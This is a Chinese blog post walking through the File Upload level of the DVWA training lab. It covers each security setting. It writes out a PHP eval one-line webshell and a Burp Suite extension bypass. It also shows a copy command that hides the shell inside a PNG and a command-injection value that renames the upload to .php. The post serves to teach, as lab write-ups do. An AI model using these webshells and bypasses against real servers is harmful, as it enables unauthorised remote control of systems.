您现在的位置是:首页 >其他 >dvwa靶场通关(五)网站首页其他

dvwa靶场通关(五)

幕溪WM 2024-08-19 00:01:04
简介dvwa靶场通关(五)

第五关 File Upload(文件上传漏洞)

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限

low

low等级没有任何的防护

 

创建一个test.txt文件,输入下面一句话木马

<?php @eval($_POST['666']); ?>

 

 然后改后缀名为.php,变成php文件,然后就上传该文件,返回一个路径

 打开蚁剑连接,url就是根路径拼接上返回的路径

 medium

这一关对文件类型和大小进行了限制,只能是jpg或者png格式文件,并且文件大小不能超过100000字节

 上传刚才的php文件,提示只能上传jpeg或者png格式

 那我们就把后缀改成jpg再上传,发现成功了,并且给出了上传的路径

 

 继续用蚁剑连接,发现虽然上传成功,但是无法连接成功,单纯的图片马并不能直接和蚁剑连接,因为该文件依然是以image格式进行解析,只有利用文件包含漏洞,才能成功利用该木马

 所以我们要换一个方法绕过前端的检测,我们选择test.jpg上传,然后burp suite抓包,把后缀名改成.php即可绕过前端的检测,上传一个test.php文件

 上传成功了

 

 这回连接成功了

 

high

 查看源码,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错

 我们找一张小一点的图片,和shell.php文件放在一起,同路径下输入cmd打开命令输入

copy 1.png /b + shell.php /a shell.jpg

 

 

 成功创建一个shell.jpg文件

 打开这个图片看,我们的php代码已经拼接到后面了

 然后上传该文件

 

 此时由于图片马中的php代码并没有被解析,所以不能直接使用蚁剑进行连接,这里可以通过命令注入漏洞将文件名改为php

打开命令注入漏洞的low等级,输入下面内容

127.0.0.1 |rename ....hackableuploadsshell.jpg shell.php

 

 然后shell.jpg就被改成了shell.php

 接下来就用蚁剑连接即可

 impossible

可以看到,Impossible级别的代码加入Anti-CSRF token防护CSRF攻击,对上传文件进行了重命名为md5值,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

 

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。